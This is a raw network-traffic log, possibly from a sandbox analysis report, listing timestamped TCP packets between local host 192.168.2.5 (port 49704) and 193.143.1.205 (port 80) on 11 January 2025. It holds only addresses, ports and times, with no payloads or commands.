Jan 11, 2025 02:10:20.484805107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.484813929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.484901905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.484904051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.484950066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.484971046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.485126972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485136986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485172987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.485346079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485356092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485394955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.485697031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485707998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485718966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485729933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485735893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.485740900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.485765934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.485795021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.486432076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486444950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486479998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.486684084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486695051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486710072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486716986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486726999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.486748934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.487540960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.487554073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.487565041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.487576008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.487585068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.487596035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.487596989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.487633944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.488466024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488497972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488508940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488519907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488529921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488533020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.488542080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488552094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.488558054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.488575935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.488594055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.489253044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.489265919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.489275932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.489285946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.489296913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.489296913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.489322901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.490169048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490180969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490191936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490202904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490211964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.490212917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490226984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490245104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.490261078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.490984917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.490998030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491008043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491019011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491029024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491034985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.491039991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491053104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.491071939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.491815090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491827965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491837978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491848946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491854906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.491859913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.491893053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.491919041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.492599964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492613077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492623091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492635012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492645025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492651939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.492655993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492666960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492671013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.492677927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.492697954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.492714882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.492929935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.493483067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493496895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493506908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493518114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493527889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493529081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.493539095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493549109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493552923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.493561029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.493577003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.493591070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.494513035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494524956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494534969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494544983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494555950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494565964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494575977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494586945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.494611979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.494636059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.495440960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495454073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495464087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495475054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495495081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495506048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495507002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.495517015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.495534897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.496332884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.496376038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.505268097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.514823914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.515307903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515441895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515451908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515518904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.515588999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515599966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515611887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515635014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.515646935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.515803099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515860081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515868902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515878916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.515899897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.515912056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.523011923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523082972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523093939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523144960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.523437023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523448944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523459911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523475885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523484945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.523518085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.523878098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523888111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523897886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523910999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.523932934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.523998976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.524435997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.524447918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.524458885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.524482012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.524507999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.539297104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.570215940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570321083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570333958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570409060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.570446014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570458889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570513010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.570730925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570744038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570755005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.570775986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.570801973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.575417042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.575695992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.575795889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.575808048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.575879097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.575908899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.575920105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.575951099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576059103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576071024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576102018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576291084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576301098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576354027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576431990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576443911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576455116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576468945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576476097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576489925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576873064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576883078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576893091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576903105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576914072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576924086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576935053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.576953888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576953888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.576971054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.577006102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.577431917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577444077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577495098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.577604055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577615023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577625036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577642918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577653885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577665091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577672958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.577675104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.577709913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.578459978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578470945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578481913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578490973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578501940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578509092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.578511953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578521967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578531981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578542948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.578542948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.578577995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.578597069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.579359055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579390049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579417944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579447031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579447985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.579474926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579483986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.579505920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579535007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.579546928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.580045938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580075979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580090046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.580105066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580132961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580149889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.580163002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580192089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580214977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.580220938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580249071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580264091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.580884933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580916882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580940962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.580950975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.580985069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.581034899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581060886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581091881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581098080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.581306934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581336021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581353903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.581365108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581393957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581415892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.581423998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581470966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.581819057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581849098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581876993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581888914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.581913948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.581986904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.588628054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.630379915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630527020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630542994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630557060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630570889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630585909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630615950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.630686998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.630748987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630764008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630774021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630784988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.630836964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.630987883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633197069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633243084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633250952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.633255005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633301020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.633344889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633358002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633419037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.633611917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633624077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633654118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.633744001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633754015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633764029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633774042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.633805990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.633829117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.633949041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653079987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653099060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653162003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653165102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.653176069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653243065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.653330088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653343916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653353930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653364897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653381109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.653402090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.653534889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653547049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653558016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653584003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.653614998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.653789043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653800011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653810024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.653845072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.654028893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.654038906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.654047966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.654057980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.654068947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.654072046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.654078960 CET	80	49704	193.143.1.205	192.168.2.5
